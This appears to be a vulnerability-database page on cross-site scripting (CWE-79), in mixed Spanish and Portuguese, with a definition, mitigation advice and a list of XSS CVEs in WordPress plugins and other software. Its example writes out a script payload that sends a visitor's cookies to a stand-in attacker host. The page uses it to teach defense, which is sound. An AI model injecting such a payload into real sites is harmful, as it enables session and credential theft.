Fallos del tipo CWE-79

30.283 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-37409MEDIUMWordPress PowerPack Lite for Beaver Builder plugin <= 1.3.0.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32608HIGHWordPress Movylo Marketing Automation Plugin <= 2.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32653HIGHWordPress Cart66 Cloud Plugin <= 2.3.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14538MEDIUMyangshare warehouseManager 仓库管理系统 CustomerManageHandler.java addCustomer cross site scriptingEPSS 0.3%CVE-2025-5884MEDIUMKonica Minolta bizhub Display MFP Information List cross site scriptingEPSS 0.3%CVE-2025-22263HIGHWordPress Global Gallery plugin <= 8.8.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5258MEDIUMConference Scheduler <= 2.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via className ParameterEPSS 0.3%CVE-2024-11687MEDIUMNext-Cart Store to WooCommerce Migration <= 3.9.2 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-27313HIGHWordPress Google Maps GPX Viewer Plugin <= 3.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24539HIGHWordPress DeBounce Email Validator plugin <= 5.6.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27319HIGHWordPress User List plugin <= 1.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-10366MEDIUMMiczFlor RPi-Jukebox-RFID inc.setWlanIpMail.php cross site scriptingEPSS 0.3%CVE-2024-12813MEDIUMOpen Hours – Easy Opening Hours <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-27308HIGHWordPress WP Video Posts plugin <= 3.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-39432HIGHWordPress bbPress2 shortcode whitelist plugin <= 2.2.1 - CSRF to XSS vulnerabilityEPSS 0.3%CVE-2025-32674HIGHWordPress Product Excel Import Export & Bulk Edit for WooCommerce plugin <= 4.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-25860MEDIUMOpenClinic GA 5.351.19 Reflected XSS via DICOM Image Upload HandlerEPSS 0.3%CVE-2025-32637HIGHWordPress WP Donate Plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4310MEDIUMCross-site Scripting (XSS) vulnerability in HubBankEPSS 0.3%CVE-2025-31018HIGHWordPress FireDrum Email Marketing plugin <= 1.64 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%